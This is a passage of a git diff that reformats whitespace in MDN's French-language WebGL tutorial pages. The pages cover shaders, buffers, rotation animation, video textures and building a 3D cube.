d'éclairage du tout, puisque nous n'en avons pas encore appliqué à la scène. Cela viendra plus tard, dans l'exemple [Éclairage en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL). Notez également l'absence de tout travail sur les textures ici ; cela sera ajouté dans [Utilisation de textures en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). #### Le shader de fragment -Le **shader de fragment** est appelé une fois pour chaque pixel de chaque forme à dessiner, une fois que les sommets de la forme ont été traités par le shader de sommet. Son travail consiste à déterminer la couleur de ce pixel en déterminant quel texel (c'est-à-dire le pixel de la texture de la forme) appliquer au pixel, à obtenir la couleur de ce texel, puis à appliquer l'éclairage approprié à la couleur. La couleur est ensuite renvoyée à la couche WebGL en la stockant dans la variable spéciale `gl_FragColor`. Cette couleur est alors dessinée à l'écran dans la position correcte pour le pixel correspondant de la forme. +Le **shader de fragment** est appelé une fois pour chaque pixel de chaque forme à dessiner, une fois que les sommets de la forme ont été traités par le shader de sommet. Son travail consiste à déterminer la couleur de ce pixel en déterminant quel texel (c'est-à-dire le pixel de la texture de la forme) appliquer au pixel, à obtenir la couleur de ce texel, puis à appliquer l'éclairage approprié à la couleur. La couleur est ensuite renvoyée à la couche WebGL en la stockant dans la variable spéciale `gl_FragColor`. Cette couleur est alors dessinée à l'écran dans la position correcte pour le pixel correspondant de la forme. -Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes seulement en train de dessiner un carré blanc, sans éclairage. +Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes seulement en train de dessiner un carré blanc, sans éclairage. const fsSource = ` void main() { @@ -68,9 +68,9 @@ Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes } `; -### Initialisation des shaders +### Initialisation des shaders -Maintenant que nous avons défini les deux shaders, nous devons les transmettre à WebGL, les compiler et les lier ensemble. Le code ci-dessous crée les deux shaders en appelant `loadShader()`, lui passant le type et la source du shader. Il crée alors un programme, attache les shaders et les relie ensemble. Si la compilation ou la liaison échoue, le code affiche une alerte. +Maintenant que nous avons défini les deux shaders, nous devons les transmettre à WebGL, les compiler et les lier ensemble. Le code ci-dessous crée les deux shaders en appelant `loadShader()`, lui passant le type et la source du shader. Il crée alors un programme, attache les shaders et les relie ensemble. Si la compilation ou la liaison échoue, le code affiche une alerte. // // Initialiser un programme shader, de façon à ce que WebGL sache comment dessiner nos données @@ -123,17 +123,17 @@ Maintenant que nous avons défini les deux shaders, nous devons les transmettre La fonction `loadShader()` prend en entrée le contexte WebGL, le type de shader et le code source, puis crée et compile le shader comme suit : -1. un nouveau shader est créé en appelant {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}} ; -2. le code source du shader est envoyé au shader en appelant {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}} ; -3. une fois que le shader a le code source, il est compilé en utilisant {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}} ; -4. pour vérifier que le shader a été compilé avec succès, le paramètre `gl.COMPILE_STATUS` du shader est vérifié ; pour obtenir sa valeur, nous appelons {{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}, en indiquant le shader et le nom du paramètre que nous voulons vérifier (`gl.COMPILE_STATUS`) ; si c'est `false`, nous savons que le shader n'a pas pu être compilé, aussi nous affichons une alerte avec les informations du journalisation obtenues du compilateur en utilisant {{domxref ("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}, puis nous supprimons le shader et nous renvoyons `null` pour indiquer l'échec du chargement du shader ; +1. un nouveau shader est créé en appelant {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}} ; +2. le code source du shader est envoyé au shader en appelant {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}} ; +3. une fois que le shader a le code source, il est compilé en utilisant {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}} ; +4. pour vérifier que le shader a été compilé avec succès, le paramètre `gl.COMPILE_STATUS` du shader est vérifié ; pour obtenir sa valeur, nous appelons {{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}, en indiquant le shader et le nom du paramètre que nous voulons vérifier (`gl.COMPILE_STATUS`) ; si c'est `false`, nous savons que le shader n'a pas pu être compilé, aussi nous affichons une alerte avec les informations du journalisation obtenues du compilateur en utilisant {{domxref ("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}, puis nous supprimons le shader et nous renvoyons `null` pour indiquer l'échec du chargement du shader ; 5. si le shader a été chargé et compilé avec succès, le shader compilé est renvoyé à l'appelant. Pour utiliser ce code, nous l'appelons de la façon suivante : const shaderProgram = initShaderProgram(gl, vsSource, fsSource); -Après avoir créé un programme de shaders, nous devons rechercher les emplacements que WebGL a assignés à nos entrées. Dans ce cas, nous avons un attribut et deux uniformes. Les attributs reçoivent des valeurs des tampons. Chaque itération du shader des sommets reçoit la valeur suivante du tampon affecté à cet attribut. Les uniformes sont similaires aux variables globales JavaScript. Ils conservent la même valeur pour toutes les itérations d'un shader. Du fait que les attributs et les emplacements des uniformes sont spécifiques à un programme de shader donné, nous les stockerons ensemble pour les rendre plus faciles à transmettre. +Après avoir créé un programme de shaders, nous devons rechercher les emplacements que WebGL a assignés à nos entrées. Dans ce cas, nous avons un attribut et deux uniformes. Les attributs reçoivent des valeurs des tampons. Chaque itération du shader des sommets reçoit la valeur suivante du tampon affecté à cet attribut. Les uniformes sont similaires aux variables globales JavaScript. Ils conservent la même valeur pour toutes les itérations d'un shader. Du fait que les attributs et les emplacements des uniformes sont spécifiques à un programme de shader donné, nous les stockerons ensemble pour les rendre plus faciles à transmettre. const programInfo = { program: shaderProgram, @@ -148,7 +148,7 @@ Après avoir créé un programme de shaders, nous devons rechercher les emplacem ## Création du carré 2D -Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tampon qui contiendra les positions de ses sommets et y placer les positions des sommets. Nous ferons cela en utilisant une fonction que nous appelerons `initBuffers()` ; à mesure que nous explorerons des concepts WebGL plus avancés, cette routine sera augmentée pour créer plus d'objets 3D, et plus complexes. +Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tampon qui contiendra les positions de ses sommets et y placer les positions des sommets. Nous ferons cela en utilisant une fonction que nous appelerons `initBuffers()` ; à mesure que nous explorerons des concepts WebGL plus avancés, cette routine sera augmentée pour créer plus d'objets 3D, et plus complexes. function initBuffers(gl) { @@ -157,7 +157,7 @@ Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tamp const positionBuffer = gl.createBuffer(); // Définir le positionBuffer comme étant celui auquel appliquer les opérations - // de tampon à partir d'ici. + // de tampon à partir d'ici. gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); @@ -171,8 +171,8 @@ Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tamp ]; // Passer mainenant la liste des positions à WebGL pour construire la forme. - // Nous faisons cela en créant un Float32Array à partir du tableau JavaScript, - // puis en l'utilisant pour remplir le tampon en cours. + // Nous faisons cela en créant un Float32Array à partir du tableau JavaScript, + // puis en l'utilisant pour remplir le tampon en cours. gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), @@ -183,13 +183,13 @@ Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tamp }; } -Cette routine est assez simpliste du fait de la nature basique de la scène dans cet exemple. Elle commence par appeler la méthode {{domxref ("WebGLRenderingContext.createBuffer()", "createBuffer()")}} de l'objet gl pour obtenir un tampon dans lequel nous stockerons les positions des sommets. Ce dernier est ensuite lié au contexte en appelant la méthode {{domxref ("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}. +Cette routine est assez simpliste du fait de la nature basique de la scène dans cet exemple. Elle commence par appeler la méthode {{domxref ("WebGLRenderingContext.createBuffer()", "createBuffer()")}} de l'objet gl pour obtenir un tampon dans lequel nous stockerons les positions des sommets. Ce dernier est ensuite lié au contexte en appelant la méthode {{domxref ("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}. -Une fois que cela est fait, nous créons un tableau JavaScript contenant la position de chaque sommet du carré 2D. Ce dernier est ensuite converti en un tableau de flottants et transmis à la méthode {{domxref ("WebGLRenderingContext.bufferData()", "bufferData()")}} de l'objet `gl` pour définir les positions des sommets de l'objet. +Une fois que cela est fait, nous créons un tableau JavaScript contenant la position de chaque sommet du carré 2D. Ce dernier est ensuite converti en un tableau de flottants et transmis à la méthode {{domxref ("WebGLRenderingContext.bufferData()", "bufferData()")}} de l'objet `gl` pour définir les positions des sommets de l'objet. -## Rendu de la scène +## Rendu de la scène -Une fois que les shaders sont définis, que les emplacements sont retrouvés, et que les positions des sommets du carré 2D sont stockées dans le tampon, nous pouvons faire effectivement le rendu de la scène. Puisque nous n'animons rien dans cet exemple, notre fonction `drawScene()` est très simple. Elle utilise quelques routines utilitaires que nous décrirons sous peu. +Une fois que les shaders sont définis, que les emplacements sont retrouvés, et que les positions des sommets du carré 2D sont stockées dans le tampon, nous pouvons faire effectivement le rendu de la scène. Puisque nous n'animons rien dans cet exemple, notre fonction `drawScene()` est très simple. Elle utilise quelques routines utilitaires que nous décrirons sous peu. > **Note :** Vous pourriez obtenir une erreur JavaScript indiquant _"mat4 n'est pas défini"_. Cela signifie qu'il existe une dépendance à **glmatrix**. Vous pouvez inclure [gl-matrix.js](https://mdn.github.io/webgl-examples/tutorial/gl-matrix.js) pour résoudre ce problème, comme suggéré [ici](https://github.com/mdn/webgl-examples/issues/20). @@ -204,9 +204,9 @@ Une fois que les shaders sont définis, que les emplacements sont retrouvés, et gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); // Créer une matrice de perspective, une matrice spéciale qui est utilisée pour - // simuler la distorsion de la perspective dans une caméra. + // simuler la distorsion de la perspective dans une caméra. // Notre champ de vision est de 45 degrés, avec un rapport largeur/hauteur qui - // correspond à la taille d'affichage du canvas ; + // correspond à la taille d'affichage du canvas ; // et nous voulons seulement voir les objets situés entre 0,1 unité et 100 unités // à partir de la caméra. @@ -217,7 +217,7 @@ Une fois que les shaders sont définis, que les emplacements sont retrouvés, et const projectionMatrix = mat4.create(); // note: glmatrix.js a toujours comme premier argument la destination - // où stocker le résultat. + // où stocker le résultat. mat4.perspective(projectionMatrix, fieldOfView, aspect, @@ -229,14 +229,14 @@ Une fois que les shaders sont définis, que les emplacements sont retrouvés, et const modelViewMatrix = mat4.create(); // Commencer maintenant à déplacer la position de dessin un peu vers là où - // nous voulons commencer à dessiner le carré. + // nous voulons commencer à dessiner le carré. mat4.translate(modelViewMatrix, // matrice de destination modelViewMatrix, // matrice de déplacement [-0.0, 0.0, -6.0]); // quantité de déplacement // Indiquer à WebGL comment extraire les positions à partir du tampon des - // positions pour les mettre dans l'attribut vertexPosition. + // positions pour les mettre dans l'attribut vertexPosition. { const numComponents = 2; // extraire 2 valeurs par itération const type = gl.FLOAT; // les données dans le tampon sont des flottants 32bit @@ -278,22 +278,22 @@ Une fois que les shaders sont définis, que les emplacements sont retrouvés, et } } -La première étape consiste à effacer le canevas avec notre arrière plan ; ensuite, nous établissons la perspective de la caméra. Nous définissons un champ de vision de 45°, avec un rapport largeur sur hauteur qui correspond aux dimensions d'affichage de notre canevas. Nous indiquons également que seuls les objets situés entre 0,1 et 100 unités à partir de la caméra doivent être rendus. +La première étape consiste à effacer le canevas avec notre arrière plan ; ensuite, nous établissons la perspective de la caméra. Nous définissons un champ de vision de 45°, avec un rapport largeur sur hauteur qui correspond aux dimensions d'affichage de notre canevas. Nous indiquons également que seuls les objets situés entre 0,1 et 100 unités à partir de la caméra doivent être rendus. -Ensuite, nous établissons la position du carré 2D en chargeant la position de l'origine et en nous déplaçant de 6 unités à partir de la caméra. Après cela, nous lions le tampon des sommets du carré à l'attribut que le shader utilise comme `aVertexPosition` et nous indiquons à WebGL comment en extraire les données. Enfin, nous dessinons l'objet en appelant la méthode {{domxref ("WebGLRenderingContext.drawArrays()", "drawArrays()")}}. +Ensuite, nous établissons la position du carré 2D en chargeant la position de l'origine et en nous déplaçant de 6 unités à partir de la caméra. Après cela, nous lions le tampon des sommets du carré à l'attribut que le shader utilise comme `aVertexPosition` et nous indiquons à WebGL comment en extraire les données. Enfin, nous dessinons l'objet en appelant la méthode {{domxref ("WebGLRenderingContext.drawArrays()", "drawArrays()")}}. {{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample2) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample2/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample2) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample2/) ## Opérations utilitaires matricielles -Les opérations matricielles peuvent sembler compliquées, mais [elles sont en fait assez simples si vous en prenez une à la fois](https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html). En général, les gens utilisent une bibliothèque matricielle plutôt que d'écrire la leur. Dans notre cas, nous utilisons la bibliothèque populaire [glMatrix](http://glmatrix.net/). +Les opérations matricielles peuvent sembler compliquées, mais [elles sont en fait assez simples si vous en prenez une à la fois](https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html). En général, les gens utilisent une bibliothèque matricielle plutôt que d'écrire la leur. Dans notre cas, nous utilisons la bibliothèque populaire [glMatrix](http://glmatrix.net/). -Voir aussi : +Voir aussi : -- les [matrices](https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html) sur WebGLFundamentals ; -- les [matrices](http://mathworld.wolfram.com/Matrix.html) sur Wolfram MathWorld ; -- l'article [matrice](<https://fr.wikipedia.org/wiki/Matrice_(math%C3%A9matiques)>) sur Wikipedia. +- les [matrices](https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html) sur WebGLFundamentals ; +- les [matrices](http://mathworld.wolfram.com/Matrix.html) sur Wolfram MathWorld ; +- l'article [matrice](<https://fr.wikipedia.org/wiki/Matrice_(math%C3%A9matiques)>) sur Wikipedia. {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}} diff --git a/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md index 7a736660b7..ea49a14322 100644 --- a/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md @@ -9,11 +9,11 @@ original_slug: Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL --- {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }} -Dans cet exemple, nous allons faire tourner notre carré 2D. +Dans cet exemple, nous allons faire tourner notre carré 2D. ## Faire tourner le carré -Commençons par faire tourner le carré. La première chose dont nous avons besoin est une variable pour mémoriser la rotation courante du carré : +Commençons par faire tourner le carré. La première chose dont nous avons besoin est une variable pour mémoriser la rotation courante du carré : ```js var squareRotation = 0.0; @@ -26,9 +26,9 @@ Maintenant, nous devons modifier la fonction `drawScene()` pour appliquer la rot squareRotation, // rotation en radians [0, 0, 1]); // axe autour duquel tourner -Ceci fait tourner la modelViewMatrix de la valeur courante de `squareRotation`, autour de l'axe Z. +Ceci fait tourner la modelViewMatrix de la valeur courante de `squareRotation`, autour de l'axe Z. -Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code qui change la valeur de `squareRotation` au fil du temps. Nous pouvons faire cela en créant une nouvelle variable pour mémoriser l'instant auquel nous avons réalisé l'animation pour la dernière fois (appelons le `then`), puis en ajoutant le code suivant à la fin de la fonction principale : +Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code qui change la valeur de `squareRotation` au fil du temps. Nous pouvons faire cela en créant une nouvelle variable pour mémoriser l'instant auquel nous avons réalisé l'animation pour la dernière fois (appelons le `then`), puis en ajoutant le code suivant à la fin de la fonction principale : var then = 0; @@ -44,14 +44,14 @@ Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code } requestAnimationFrame(render); -Ce code utilise `requestAnimationFrame` pour demander au navigateur d'appeler la fonction "`render`" à chaque image. `requestAnimationFrame` nous transmet le temps en millisecondes depuis le chargement de la page. Nous le convertissons en secondes, puis nous lui soustrayons le dernier instant pour calculer `deltaTime`, qui est le nombre de secondes depuis le rendu de la dernière image. À la fin de drawscene, nous ajoutons le code pour mettre à jour `squareRotation`. +Ce code utilise `requestAnimationFrame` pour demander au navigateur d'appeler la fonction "`render`" à chaque image. `requestAnimationFrame` nous transmet le temps en millisecondes depuis le chargement de la page. Nous le convertissons en secondes, puis nous lui soustrayons le dernier instant pour calculer `deltaTime`, qui est le nombre de secondes depuis le rendu de la dernière image. À la fin de drawscene, nous ajoutons le code pour mettre à jour `squareRotation`. - squareRotation += deltaTime; + squareRotation += deltaTime; -Ce code utilise le laps de temps qui s'est écoulé depuis la dernière fois que nous avons mis à jour la valeur `squareRotation` pour déterminer de combien faire tourner le carré. +Ce code utilise le laps de temps qui s'est écoulé depuis la dernière fois que nous avons mis à jour la valeur `squareRotation` pour déterminer de combien faire tourner le carré. {{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample4) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample4/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample4) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample4/) {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }} diff --git a/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md index 6844827c75..813ff0dee9 100644 --- a/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md @@ -22,38 +22,38 @@ La première étape consiste à créer l'élément {{HTMLElement("video")}} que var copierVideo = false; function configurerVideo(url) { - const video = document.createElement('video'); + const video = document.createElement('video'); - var playing = false; - var timeupdate = false; + var playing = false; + var timeupdate = false; - video.autoplay = true; - video.muted = true; - video.loop = true; + video.autoplay = true; + video.muted = true; + video.loop = true; - // Le fait d'attendre ces 2 évènements assure + // Le fait d'attendre ces 2 évènements assure // qu'il y a des données dans la vidéo - video.addEventListener('playing', function() { - playing = true; - verifierPret(); - }, true); + video.addEventListener('playing', function() { + playing = true; + verifierPret(); + }, true); - video.addEventListener('timeupdate', function() { - timeupdate = true; - verifierPret(); - }, true); + video.addEventListener('timeupdate', function() { + timeupdate = true; + verifierPret(); + }, true); - video.src = url; - video.play(); + video.src = url; + video.play(); - function verifierPret() { - if (playing && timeupdate) { - copierVideo = true; - } - } + function verifierPret() { + if (playing && timeupdate) { + copierVideo = true; + } + } - return video; + return video; } ``` @@ -61,52 +61,52 @@ D'abord, nous créons un élément vidéo. Nous le mettons en lecture automatiqu Et enfin, nous définissons l'attribut `src` pour commencer, et nous appelons `play` pour démarrer le chargement et la lecture de la vidéo. -## Utilisation des images vidéo comme texture +## Utilisation des images vidéo comme texture La prochaine modification porte sur `initTexture()`, qui devient beaucoup plus simple, car elle n'a plus besoin de charger un fichier image. A la place, tout ce qu'elle fait est de créer un objet texture vide, d'y mettre un unique pixel et de définir son filtrage pour une utilisation ultérieure : ```js function initTexture(gl, url) { - const texture = gl.createTexture(); - gl.bindTexture(gl.TEXTURE_2D, texture); + const texture = gl.createTexture(); + gl.bindTexture(gl.TEXTURE_2D, texture); // Parce que la vidéo doit être téléchargée depuis sur Internet, // cela peut prendre un certain temps jusqu'à ce qu'elle soit prête, donc // mettre un seul pixel dans la texture, de façon à ce que nous puissions // l'utiliser immédiatement. - const niveau = 0; - const formatInterne = gl.RGBA; - const largeur = 1; - const hauteur = 1; - const bordure = 0; - const formatSrc = gl.RGBA; - const typeSrc = gl.UNSIGNED_BYTE; - const pixel = new Uint8Array([0, 0, 255, 255]); // bleu opaque - gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne, - largeur, hauteur, bordure, formatSrc, typeSrc, - pixel); + const niveau = 0; + const formatInterne = gl.RGBA; + const largeur = 1; + const hauteur = 1; + const bordure = 0; + const formatSrc = gl.RGBA; + const typeSrc = gl.UNSIGNED_BYTE; + const pixel = new Uint8Array([0, 0, 255, 255]); // bleu opaque + gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne, + largeur, hauteur, bordure, formatSrc, typeSrc, + pixel); // Désactiver mips et définir l'emballage comme accroché au bord afin qu'il // fonctionne indépendamment des dimensions de la vidéo. - gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); - gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); - gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); + gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); + gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); + gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); - return texture; + return texture; } ``` -Voici à quoi ressemble la fonction `mettreAJourTexture()` ; c'est là où le vrai travail est fait : +Voici à quoi ressemble la fonction `mettreAJourTexture()` ; c'est là où le vrai travail est fait : ```js function mettreAJourTexture(gl, texture, video) { - const niveau = 0; - const formatInterne = gl.RGBA; - const formatSrc = gl.RGBA; - const typeSrc = gl.UNSIGNED_BYTE; - gl.bindTexture(gl.TEXTURE_2D, texture); - gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne, - formatSrc, typeSrc, video); + const niveau = 0; + const formatInterne = gl.RGBA; + const formatSrc = gl.RGBA; + const typeSrc = gl.UNSIGNED_BYTE; + gl.bindTexture(gl.TEXTURE_2D, texture); + gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne, + formatSrc, typeSrc, video); } ``` @@ -115,33 +115,33 @@ Vous avez déjà vu ce code. Il est presque identique à la fonction onload de l Si `copierVideo` est true, alors `mettreAJourTexture()` est appelé à chaque fois juste avant que nous appellions la fonction `dessinerScene()`. ```js - var alors = 0; + var alors = 0; - // Dessiner la scène répétitivement - function dessiner(maintenant) { - maintenant *= 0.001; // convertir en seconds - const ecartTemps = maintenant - alors; - alors = maintenant; + // Dessiner la scène répétitivement + function dessiner(maintenant) { + maintenant *= 0.001; // convertir en seconds + const ecartTemps = maintenant - alors; + alors = maintenant; - if (copierVideo) { - mettreAJourTexture(gl, texture, video); - } + if (copierVideo) { + mettreAJourTexture(gl, texture, video); + } - dessinerScene(gl, programInfo, buffers, texture, ecartTemps); + dessinerScene(gl, programInfo, buffers, texture, ecartTemps); - requestAnimationFrame(dessiner); - } - requestAnimationFrame(dessiner); + requestAnimationFrame(dessiner); + } + requestAnimationFrame(dessiner); ``` -C'est tout pour ce qu'il y a à faire pour cela ! +C'est tout pour ce qu'il y a à faire pour cela ! {{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample8/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample8/) ## Voir aussi -- [Utilisation de l'audio et de la video dans Firefox](/fr/Using_HTML5_audio_and_video) +- [Utilisation de l'audio et de la video dans Firefox](/fr/Using_HTML5_audio_and_video) {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}} diff --git a/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md index 3691a94ab7..c70f056a65 100644 --- a/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md @@ -9,13 +9,13 @@ original_slug: Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL --- {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}} -Transformons notre carré en trois dimensions en lui ajoutant cinq faces supplémentaires pour créer un cube. Pour faire cela efficacement, nous allons passer du dessin de sommets par l'appel direct de la méthode {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}, à l'utilisation du tableau des sommets comme une table, et à référencer les sommets individuels dans cette table pour définir les positions des sommets de chaque face, en appelant directement {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}. +Transformons notre carré en trois dimensions en lui ajoutant cinq faces supplémentaires pour créer un cube. Pour faire cela efficacement, nous allons passer du dessin de sommets par l'appel direct de la méthode {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}, à l'utilisation du tableau des sommets comme une table, et à référencer les sommets individuels dans cette table pour définir les positions des sommets de chaque face, en appelant directement {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}. -Notez que chaque face nécessite quatre sommets pour la définir, mais que chaque sommet est partagé entre trois faces. Nous pouvons donc passer beaucoup moins de données en faisant un tableau des 24 sommets, puis en référençant chaque sommet par son indice dans ce tableau, au lieu de passer des ensembles complets de coordonnées. Si vous vous demandez pourquoi nous avons besoin de 24 sommets, et non pas seulement de 8, c'est parce que chaque coin appartient à trois faces de couleurs différentes, et qu'un sommet donné doit avoir une couleur spécifique - c'est pourquoi nous allons créer 3 copies de chaque sommet dans les trois couleurs différentes, une pour chaque face. +Notez que chaque face nécessite quatre sommets pour la définir, mais que chaque sommet est partagé entre trois faces. Nous pouvons donc passer beaucoup moins de données en faisant un tableau des 24 sommets, puis en référençant chaque sommet par son indice dans ce tableau, au lieu de passer des ensembles complets de coordonnées. Si vous vous demandez pourquoi nous avons besoin de 24 sommets, et non pas seulement de 8, c'est parce que chaque coin appartient à trois faces de couleurs différentes, et qu'un sommet donné doit avoir une couleur spécifique - c'est pourquoi nous allons créer 3 copies de chaque sommet dans les trois couleurs différentes, une pour chaque face. ## Définir la position des sommets du cube -Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le code de `initBuffer()`. C'est sensiblement le même que pour le carré, mais en plus long, du fait qu'il y a 24 sommets (4 par côté) : +Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le code de `initBuffer()`. C'est sensiblement le même que pour le carré, mais en plus long, du fait qu'il y a 24 sommets (4 par côté) : ```js const positions = [ @@ -57,7 +57,7 @@ Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le ]; ``` -Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoin de changer en 3 le `numComponents` de notre attribut `vertexPosition`. +Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoin de changer en 3 le `numComponents` de notre attribut `vertexPosition`. // Indiquer à WebGL comment extraire les positions du tampon des // positions dans l'attribut vertexPosition @@ -75,9 +75,9 @@ Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoi programInfo.attribLocations.vertexPosition); } -## Définir les couleurs des sommets +## Définir les couleurs des sommets -Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 sommets. Ce code commence par définir une couleur pour chaque face, puis il utilise une boucle pour assembler le tableau de toutes les couleurs pour chacun des sommets. +Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 sommets. Ce code commence par définir une couleur pour chaque face, puis il utilise une boucle pour assembler le tableau de toutes les couleurs pour chacun des sommets. ```js const faceColors = [ @@ -96,9 +96,9 @@ Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 for (j=0; j<faceColors.length; j++) { const c = faceColors[j]; - // Répéter chaque couleur quatre fois pour les quatre sommets d'une face + // Répéter chaque couleur quatre fois pour les quatre sommets d'une face colors = colors.concat(c, c, c, c); - } + } const colorBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer); @@ -107,7 +107,7 @@ Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 ## Définir le tableau des éléments -Une fois que les tableaux des sommets sont générés, nous devons construire le tableau des éléments. +Une fois que les tableaux des sommets sont générés, nous devons construire le tableau des éléments. ```js const indexBuffer = gl.createBuffer(); @@ -115,7 +115,7 @@ Une fois que les tableaux des sommets sont générés, nous devons construire l // Ce tableau définit chaque face comme deux triangles, en utilisant les // indices dans le tableau des sommets pour spécifier la position de chaque - // triangle. + // triangle. const indices = [ 0, 1, 2, 0, 2, 3, // avant @@ -139,11 +139,11 @@ Une fois que les tableaux des sommets sont générés, nous devons construire l } ``` -Le tableau `indices` définit chaque face comme étant une paire de triangles, en spécifiant chaque sommet du triangle comme un indice dans les tableaux des sommets du cube. Ainsi le cube est décrit comme une collection de 12 triangles. +Le tableau `indices` définit chaque face comme étant une paire de triangles, en spécifiant chaque sommet du triangle comme un indice dans les tableaux des sommets du cube. Ainsi le cube est décrit comme une collection de 12 triangles. -## Dessiner le cube +## Dessiner le cube -Ensuite, nous 